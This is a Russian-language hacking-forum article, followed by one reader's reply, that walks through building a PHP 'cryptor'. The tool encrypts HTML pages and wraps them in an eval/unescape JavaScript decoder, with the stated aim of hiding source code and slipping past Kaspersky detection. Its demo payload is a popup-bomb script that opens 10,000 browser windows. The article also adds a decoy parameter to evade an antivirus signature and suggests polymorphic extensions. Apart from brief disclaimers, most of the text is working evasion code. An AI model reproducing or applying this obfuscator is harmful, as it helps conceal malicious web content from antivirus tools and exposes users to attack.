Внимание: Статья предназначена только для ознакомления, автор не несет ответственность за использование и распространение скриптов из этой статьи. Сегодня мы напишем html-криптор на php. Зачем это может пригодиться? Это может пригодится, если нужно скрыть исходный код страницы, или если антивирусу не нравится ваша страничка, а вы хотите чтобы он забыл о ней. Например: Code: <script language = javascript> function с(){ var i=1; while (i < 10000){ window. open("about:blank"); i++; } } c(); </script> Сохраните это в файл 1.html и каспера сразу закричит, что это запускать нельзя. Итак приступим: Для начала нам нужно загрузить файл в переменную Code: $file=join('',file('in.html')); Затем нам нужно записать содержимое файла в одну строчку $file=str_replace("\r\n",'',$file); $file=str_replace("\n",'',$file); Теперь в переменной $file находится содержимое in.html Затем его надо зашифровать, для этого создадим функцию шифрования: Code: function a($n) { $q=''; $e=''; $p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*"; for($l=0;$l<strlen($n);$l++) { $o=$n[$l]; $m=strpos($p,$o); if($m>-1) { $z=(($m+1)-1); if($z==79) { $z =0; } $q .= $p[$z+1]; } else { $q.=$o; } } return $q; } Шифрование происходит следующим образом: каждый символ шифруемого кода ищется в ключе, и если находится то заменяется на следующий символ ключа. Code: $file=a($file);//эта строка вызывает функцию шифрования Теперь нам нужен расшифровщик на javascript Code: function decrypt(n) { var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*"; for(l=0;l<n.length;l++) { ch=n.charAt(l); ind=key.indexOf(ch); if(ind>-1) { if(ind==0) { ind =79 } q+=key.charAt(ind-1) } else { q+=ch } }; document.write(q) } Принцип действия я думаю понятен. Поместим расшифровщик в переменную $decrypt Также для работы криптора нужен инициализатор: Code: function load(code,dfunc) { eval(dfunc); decrypt(code); } Но похожий метод шифрования использовался в каком-то черве и каспера громко ругается на этот кусок кода, поэтому добавим еще один параметр инициализатору: Code: function load(code,dfunc,anticasp) { eval(dfunc); decrypt(code); } Ему мы передадим в параметрах зашифрованый код и код расшифровщикаю Для большей скрытности и усложнения анализа кода переведем исходник расшифровщика в шестнадцатиричный формат функцией urlencode,после этого заменим знаки плюса на пробелы. (это связано с тем, что urlencode выдает код, в котором вместо пробелов плюсы) Code: $decrypt=urlencode($decrypt); $decrypt=str_replace('+',' ',$decrypt); В данный момент в переменной $decrypt хранится расшифровщик, а в переменной $file зашифрованый файл, но в переменной $file есть одинарные кавычки, а они не дадут работать инициализатору (параметры ему будут передаваться тоже в одинарных кавычках), заменим их на \' Code: $file=str_replace("'","\'",$file); Нам осталось лишь сформировать исходный код зашифрованой страницы: Code: $cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$code."',unescape('".$decrypt."'));</script>"; Исходный код станички сейчас находится в переменной $cont. В нем описывается функция инициализатора, затем инициализатору передаются зашифрованая информация и код расшифровщика, который преобразуется в обычный текст, расшифровщик eval'ится и запускается функция декодирования, находящаяся в нем, которая уже выводит расшифрованую информацию. Последнее, что нам нужно сделать - записать в файл исходный код страницы: Code: $file=fopen('out.htm','w'); fputs($file,$cont); fclose($file); Вот полный код криптора: Code: <? function a($n) { $p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*"; $q=''; $e=''; for($l=0;$l<strlen($n);$l++) { $o=$n[$l]; $m=strpos($p,$o); if($m>-1) { $z=(($m+1)-1); if($z==79) { $z =0; } $q .= $p[$z+1]; } else { $q.=$o; } } return $q; } $file=join('',file('in.html')); $file=str_replace("\r\n",'',$file); $file=str_replace("\n",'',$file); $file=a($file); $decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}"; $decrypt=urlencode($decrypt); $decrypt=str_replace('+',' ',$decrypt); $file=str_replace("'","\'",$file); $cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$file."',unescape('".$decrypt."'));</script>"; $file=fopen('out.htm','w'); fputs($file,$cont); fclose($file); ?> Напоследок зашифруем код из начала статьи и убедимся, что он работает, а каспера молчит. В данном крипторе можно многое доработать, например сделать шифрование каждый раз разным ключом, добавить полиморфный движок, но это я оставляю вам. Криптор тестировался на ИЕ(Предупреждение) и Опере(Ok), Фаерфоксе(Ok). При копировании статьи или ее частей ссылка на автора объязательна. Автором являюсь я(ntkiller) Впервые опубликована на http://forum.pro-hack.ru/st2452.html Jun 9 2006 P.S:Все комментарии из шифруемого скрипта надо удалять - иначе не работает. P.P.S:Повторяю, что статья предназначена только для ознакомления - не надо шифровать вредоносный код и впаривать его другим людям.
И нафиг? Как уже написал invlose есть дофига энкодеров html кода, такие как например PHTML-Encoder (имхо один из лучших)